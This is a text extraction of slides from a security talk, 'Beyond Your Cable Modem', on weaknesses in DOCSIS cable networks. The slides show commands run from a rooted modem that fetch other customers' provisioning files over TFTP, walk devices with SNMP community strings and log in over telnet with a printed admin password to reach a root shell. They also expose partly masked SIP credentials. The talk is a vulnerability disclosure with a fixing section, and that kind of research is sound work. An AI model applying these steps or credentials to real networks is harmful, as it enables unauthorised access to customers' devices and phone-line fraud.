slides for beyond your cable modem
TRANSCRIPT
![Page 1: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/1.jpg)
Beyond Your Cable Modem
Having fun in DOCSIS networks
![Page 2: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/2.jpg)
About me
• Alexander Graf
• KVM / QEMU developer
• … with spare time at night while the baby was crying
![Page 3: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/3.jpg)
Background
![Page 4: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/4.jpg)
Background
![Page 5: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/5.jpg)
Background
![Page 6: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/6.jpg)
Background
![Page 7: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/7.jpg)
Background
✗
![Page 8: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/8.jpg)
Background
cable
![Page 9: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/9.jpg)
Background
cable
![Page 10: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/10.jpg)
Background
cable
![Page 11: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/11.jpg)
Background
cable
![Page 12: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/12.jpg)
Background
cable
![Page 13: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/13.jpg)
Background
cable
![Page 14: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/14.jpg)
Background
cable SIP
![Page 15: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/15.jpg)
Background
cable SIP
If you know what you’re doing, connect
directly!
![Page 16: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/16.jpg)
![Page 17: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/17.jpg)
![Page 18: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/18.jpg)
CH6640Eroot@KDG:~#
![Page 19: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/19.jpg)
CH6640Eroot@KDG:~# uname -aLinux KDG 2.6.39.3 #1 PREEMPT Wed Sep 16 20:12:43 CST 2015 armv6b GNU/Linux
![Page 20: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/20.jpg)
CH6640Eroot@KDG:~# netstat -n -a | grep 5060tcp 0 0 10.236.180.84:5060 0.0.0.0:* LISTENudp 0 0 10.236.180.84:5060 0.0.0.0:*
![Page 21: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/21.jpg)
CH6640Eroot@KDG:~# ip a[...]9: lan0: [...] link/ether dc:53:7c:0c:59:ae brd ff:ff:ff:ff:ff:ff inet 192.168.100.1/24 brd 192.168.100.255 scope global lan010: wan0: [...] link/ether dc:53:7c:0c:59:ac brd ff:ff:ff:ff:ff:ff inet 10.238.177.112/20 brd 10.238.191.255 scope global wan012: mta0: [...] link/ether dc:53:7c:0c:59:ad brd ff:ff:ff:ff:ff:ff inet 10.236.180.84/20 brd 10.236.191.255 scope global mta0[...]
![Page 22: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/22.jpg)
CH6640Eroot@KDG:~# ip a[...]9: lan0: [...] link/ether dc:53:7c:0c:59:ae brd ff:ff:ff:ff:ff:ff inet 192.168.100.1/24 brd 192.168.100.255 scope global lan010: wan0: [...] link/ether dc:53:7c:0c:59:ac brd ff:ff:ff:ff:ff:ff inet 10.238.177.112/20 brd 10.238.191.255 scope global wan012: mta0: [...] link/ether dc:53:7c:0c:59:ad brd ff:ff:ff:ff:ff:ff inet 10.236.180.84/20 brd 10.236.191.255 scope global mta0[...]
![Page 23: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/23.jpg)
CH6640Eroot@KDG:~# ip a[...]9: lan0: [...] link/ether dc:53:7c:0c:59:ae brd ff:ff:ff:ff:ff:ff inet 192.168.100.1/24 brd 192.168.100.255 scope global lan010: wan0: [...] link/ether dc:53:7c:0c:59:ac brd ff:ff:ff:ff:ff:ff inet 10.238.177.112/20 brd 10.238.191.255 scope global wan012: mta0: [...] link/ether dc:53:7c:0c:59:ad brd ff:ff:ff:ff:ff:ff inet 10.236.180.84/20 brd 10.236.191.255 scope global mta0[...]
![Page 24: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/24.jpg)
CM
cable
![Page 25: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/25.jpg)
TV cable
CMTSCM backbone
IPcable
![Page 26: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/26.jpg)
CM backbone
cable
![Page 27: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/27.jpg)
CM backbone
Internet
cable
![Page 28: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/28.jpg)
CM backbone
cable VoIP
Internet
![Page 29: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/29.jpg)
CM backbone
cable
Admin
VoIP
Internet
![Page 30: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/30.jpg)
cable
Admin
![Page 31: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/31.jpg)
cable
DHCP
Admin
![Page 32: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/32.jpg)
cable
DHCP
Admin
✔
![Page 33: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/33.jpg)
cable
TFTP
DHCP
Admin
✔
![Page 34: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/34.jpg)
TFTP
DHCP
cable
Admin
✔
SAContract
![Page 35: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/35.jpg)
TFTP
DHCP
cable
Admin
✔
SAContract
![Page 36: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/36.jpg)
SAContract Provisioning File
SwUpgradeFilename "CH6640-4.5.0.5-NOSH-TW.NNEMN.p8";
![Page 37: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/37.jpg)
SAContract Provisioning File
DsServiceFlow { DsServiceFlowRef 2; QosParamSetType 7; MaxRateSustained 53000000; }
UsServiceFlow { UsServiceFlowRef 13; QosParamSetType 7; TrafficPriority 0; MaxRateSustained 2200000; SchedulingType 2; }
![Page 38: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/38.jpg)
SAContract Provisioning File
root@KDG:~# F=bac113000106dc537c0c59ac tftp -g -l $F -r $F 83.169.186.129root@KDG:~# ls -hs bac113000106dc537c0c59ac8.0K bac113000106dc537c0c59ac
root@KDG:~#
![Page 39: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/39.jpg)
SAContract Provisioning File
root@KDG:~# F=bac113000106dc537c0c59ac tftp -g -l $F -r $F 83.169.186.129root@KDG:~# ls -hs bac113000106dc537c0c59ac8.0K bac113000106dc537c0c59ac
root@KDG:~# F=bac1130001069cc7a6f62244 tftp -g -l $F -r $F 83.169.186.129root@KDG:~# ls -hs bac1130001069cc7a6f622448.0K bac1130001069cc7a6f62244
![Page 40: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/40.jpg)
TFTP
DHCP
cable
Admin
✔
SAContract
![Page 41: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/41.jpg)
TFTP
DHCP
cable
Admin
✔
SAContract
![Page 42: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/42.jpg)
TFTP
DHCP
cable
Admin
✔
SAContract
![Page 43: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/43.jpg)
TFTP
DHCP
cable
Admin
SNMP
✔
SAContract
![Page 44: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/44.jpg)
TFTP
DHCP
cable
Admin
SNMP
✔
SAContract
![Page 45: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/45.jpg)
TFTP
DHCP
cable
Admin
SNMP
✔
SAContract
![Page 46: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/46.jpg)
TFTP
DHCP
cable
Admin
SNMP
✔
SAContract
![Page 47: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/47.jpg)
SAContract Provisioning File
SnmpMibObject docsDevNmAccessIp.1 IPAddress 10.10.2.0; SnmpMibObject docsDevNmAccessIpMask.1 IPAddress 255.255.255.0; SnmpMibObject docsDevNmAccessCommunity.1 String "privateAccess4me"; SnmpMibObject docsDevNmAccessControl.1 Integer 3; /* readWrite */
SnmpMibObject docsDevNmAccessIp.5 IPAddress 10.0.0.0; SnmpMibObject docsDevNmAccessIpMask.5 IPAddress 255.0.0.0; SnmpMibObject docsDevNmAccessCommunity.5 String "publicAccess4me"; SnmpMibObject docsDevNmAccessControl.5 Integer 2; /* read */
![Page 48: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/48.jpg)
SAContract Provisioning File
SnmpMibObject docsDevNmAccessIp.1 IPAddress 10.10.2.0; SnmpMibObject docsDevNmAccessIpMask.1 IPAddress 255.255.255.0; SnmpMibObject docsDevNmAccessCommunity.1 String "privateAccess4me"; SnmpMibObject docsDevNmAccessControl.1 Integer 3; /* readWrite */
SnmpMibObject docsDevNmAccessIp.5 IPAddress 10.0.0.0; SnmpMibObject docsDevNmAccessIpMask.5 IPAddress 255.0.0.0; SnmpMibObject docsDevNmAccessCommunity.5 String "publicAccess4me"; SnmpMibObject docsDevNmAccessControl.5 Integer 2; /* read */
![Page 49: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/49.jpg)
SAContract Provisioning File
SnmpMibObject docsDevNmAccessIp.1 IPAddress 10.10.2.0; SnmpMibObject docsDevNmAccessIpMask.1 IPAddress 255.255.255.0; SnmpMibObject docsDevNmAccessCommunity.1 String "privateAccess4me"; SnmpMibObject docsDevNmAccessControl.1 Integer 3; /* readWrite */
SnmpMibObject docsDevNmAccessIp.5 IPAddress 10.0.0.0; SnmpMibObject docsDevNmAccessIpMask.5 IPAddress 255.0.0.0; SnmpMibObject docsDevNmAccessCommunity.5 String "publicAccess4me"; SnmpMibObject docsDevNmAccessControl.5 Integer 2; /* read */
![Page 50: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/50.jpg)
cable
Admin
cable cable
cable
SAContract
Hannover
Munich
![Page 51: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/51.jpg)
cable
Admin
cable cable
cable
SNMP
SAContract
Hannover
Munich
![Page 52: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/52.jpg)
SNMProot@KDG:~# snmpbulkwalk -c publicAccess4me -v 2c 10.238.177.112
![Page 53: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/53.jpg)
SNMProot@KDG:~# snmpbulkwalk -c publicAccess4me -v 2c 10.238.177.112 SNMPv2-MIB::sysDescr.0 = STRING: PacketCable 2.0 EDVA<<HW_REV: 1.0; VENDOR: Compal Broadband Networks; BOOTR: PSPU-Boot(BBU) 1.0.19.25m1-CBN01; SW_REV: CH6640-4.5.0.5-NOSH; MODEL: CH6640E>>SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.35604.6640.1.0.4.5.0.5DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (100752685) 11 days, 15:52:06.85SNMPv2-MIB::sysContact.0 = STRING: CBN CorpSNMPv2-MIB::sysName.0 = STRING: CH6640ESNMPv2-MIB::sysLocation.0 = STRING: CBN TWSNMPv2-MIB::sysServices.0 = INTEGER: 2[...]
![Page 54: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/54.jpg)
SNMP
[...]
IP-MIB::ipNetToPhysicalPhysAddress.1.ipv6."2a:02:81:08:80:00:00:06:f0:a2:31:c0:03:f3:86:dd" = STRING: dc:53:7c:c:59:af
[...]
![Page 55: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/55.jpg)
SNMP
[...]IP-MIB::ipNetToMediaPhysAddress.1.192.168.0.121 = STRING: 64:66:b3:8b:67:efIP-MIB::ipNetToMediaPhysAddress.1.192.168.0.128 = STRING: 24:5:f:62:54:7b[...]
![Page 56: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/56.jpg)
SNMP
[...]SNMPv2-SMI::mib-2.69.1.4.4.0 = IpAddress: 83.169.186.129SNMPv2-SMI::mib-2.69.1.4.5.0 = STRING: “bac113000106dc537c0c59ac"[...]
SAContract
![Page 57: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/57.jpg)
TFTP
DHCP
cable
Admin
SNMP
✔
SAContract
![Page 58: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/58.jpg)
TFTP
DHCP
cable
Admin
SNMP
✔
SAContract
![Page 59: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/59.jpg)
TFTP
DHCP
cable
Admin
SNMP
✔
SAContract
![Page 60: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/60.jpg)
TFTP
DHCP
cable
Telnet
Admin
SNMP
✔
SAContract
![Page 61: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/61.jpg)
cable
Admin
cable cable
cable
SNMP
SAContract
![Page 62: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/62.jpg)
cable
Admin
cable cable
cable
SNMP
SAContract
Telnet
![Page 63: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/63.jpg)
Telnetroot@KDG:~# telnet 10.235.215.235
CVE-30360 login:
![Page 64: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/64.jpg)
TFTP
DHCP
cable
Telnet
Admin
SNMP
✔
SAContract
![Page 65: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/65.jpg)
TFTP
DHCP
cable
Telnet
Admin
SNMP
✔
SAContract
![Page 66: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/66.jpg)
TFTP
DHCP
cable
Telnet
Admin
SNMP
✔
SAContract
![Page 67: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/67.jpg)
SAContract Provisioning File
SnmpMibObject enterprises.35604.1.19.3.5.5.0 String "msoadmin"; SnmpMibObject enterprises.35604.1.19.3.5.6.0 String “Egj1nQ";
VendorSpecific { VendorIdentifier 0x5c353b; GenericTLV TlvCode 125 TlvString "msoadmin:RQzzR99ycc"; }
![Page 68: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/68.jpg)
SAContract Provisioning File
SnmpMibObject enterprises.35604.1.19.3.5.5.0 String "msoadmin"; SnmpMibObject enterprises.35604.1.19.3.5.6.0 String “Egj1nQ";
VendorSpecific { VendorIdentifier 0x5c353b; GenericTLV TlvCode 125 TlvString "msoadmin:RQzzR99ycc"; }
![Page 69: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/69.jpg)
Telnetroot@KDG:~# telnet 10.235.215.235
CVE-30360 login:
![Page 70: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/70.jpg)
Telnetroot@KDG:~# telnet 10.235.215.235
CVE-30360 login: msoadminPassword: Egj1nQ>>>Console, CLI version 1.0.0.5Type 'help' for list of commandsmainMenu>
![Page 71: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/71.jpg)
Telnetroot@KDG:~# telnet 10.235.215.235
CVE-30360 login: msoadminPassword: Egj1nQ>>>Console, CLI version 1.0.0.5Type 'help' for list of commandsmainMenu> helpConsole Commands for this level: system - Go to system Menu. docsis - Go to DOCSIS Menu.[...]
![Page 72: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/72.jpg)
TelnetmainMenu> shellPassword:Egj1nQ
Exiting to shell. Type "exit" to return back to CLI
BusyBox v1.19.2 (2014-08-13 18:50:22 CST) built-in shell (ash)Enter 'help' for a list of built-in commands.
#
![Page 73: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/73.jpg)
Telnet
= = = = ...
![Page 74: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/74.jpg)
Admin
cable cable
cable
Telnet
cable
![Page 75: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/75.jpg)
Admin
cable cable
cable
Telnet✗
![Page 76: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/76.jpg)
TFTP
DHCP
cable
Telnet
Admin
SNMP
✔
SAContract
![Page 77: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/77.jpg)
TFTP
DHCP
cable
Telnet
Admin
SNMP
✔
SAContract
![Page 78: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/78.jpg)
CM backbone
cable
Admin
VoIP
Internet
![Page 79: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/79.jpg)
cable
VoIP
![Page 80: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/80.jpg)
DHCP
cable
✔
VoIP
![Page 81: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/81.jpg)
TFTP
DHCP
cable
✔
SAContract
VoIP
![Page 82: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/82.jpg)
TFTP
DHCP
cable
SNMP
✔
SAContract
VoIP
![Page 83: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/83.jpg)
TFTP
DHCP
cable
SNMP
✔
SAContract
VoIP
SIP
![Page 84: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/84.jpg)
TFTP
DHCP
cable
SNMP
✔
SAContract
VoIP
SIP
![Page 85: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/85.jpg)
TFTP
DHCP
cable
SNMP
✔
SAContract
VoIP
SIP
![Page 86: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/86.jpg)
TFTP
DHCP
cable
SNMP
✔
SAContract
VoIP
SIP
![Page 87: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/87.jpg)
TFTP
DHCP
cable
SNMP
✔
SAContract
VoIP
SIP
![Page 88: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/88.jpg)
SAContract Provisioning File
SnmpMibObject clabProjPacketCable.10.3.1.1.2.1.2.1 String "technik.kabel-deutschland.de"; SnmpMibObject clabProjPacketCable.10.3.1.1.4.1.3.1.1 String "f-brei-ca181-access-cable-srv.technik.kabel-deutschland.de"; SnmpMibObject clabProjPacketCable.10.4.1.1.3.1.3.1 String "20145XXXX_KAV_1"; SnmpMibObject clabProjPacketCable.10.4.1.1.3.1.5.1 String "cg_qv,*AEBsMVB)3aXXXXXXXXX"; SnmpMibObject clabProjPacketCable.10.4.1.1.2.1.3.1 String "[email protected]";
![Page 89: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/89.jpg)
cable
SAContract
SIP
+49 30 3333
![Page 90: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/90.jpg)
cable
SAContract
SIP
cable
SAContract
+49 30 3333
![Page 91: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/91.jpg)
cable
SAContract
SIP
cable
SAContract
+49 30 3333
![Page 92: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/92.jpg)
cable
SAContract
SIP
cable
SAContract
+49 30 3333 +49 30 3333
![Page 93: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/93.jpg)
SIP
cable
SAContract
SIP
cable
SAContract
+49 30 3333 +49 30 3333
![Page 94: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/94.jpg)
SIPcable
SAContract
SIP
cable
SAContract
+49 30 3333 +49 30 3333
![Page 95: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/95.jpg)
TFTP
DHCP
cable
SNMP
✔
SAContract
VoIP
SIP
![Page 96: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/96.jpg)
TFTP
DHCP
cable
SNMP
✔
SAContract
VoIP
SIP
![Page 97: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/97.jpg)
Fixing It
![Page 98: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/98.jpg)
Fixing It
![Page 99: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/99.jpg)
Fixing It
![Page 100: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/100.jpg)
Fixing It
![Page 101: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/101.jpg)
Fixing It
![Page 102: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/102.jpg)
Fixing It
![Page 103: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/103.jpg)
cable
Telnet
Admin
SAContract
![Page 104: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/104.jpg)
cable
SSH
Admin
SAContract
![Page 105: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/105.jpg)
SAContract SSH
SnmpMibObject enterprises.35604.1.19.3.5.5.0 String "msoadmin"; SnmpMibObject enterprises.35604.1.19.3.5.6.0 String “Egj1nQ";
VendorSpecific { VendorIdentifier 0x5c353b; GenericTLV TlvCode 125 TlvString "msoadmin:RQzzR99ycc"; }
![Page 106: Slides for Beyond Your Cable Modem](https://reader037.vdocuments.us/reader037/viewer/2022102422/5849a1bd1a28aba93a91cf9f/html5/thumbnails/106.jpg)
SAContract SSH
SnmpMibObject enterprises.35604.1.19.3.5.5.0 String "msoadmin"; SnmpMibObject enterprises.35604.1.19.3.5.6.0 String “Egj1nQ";
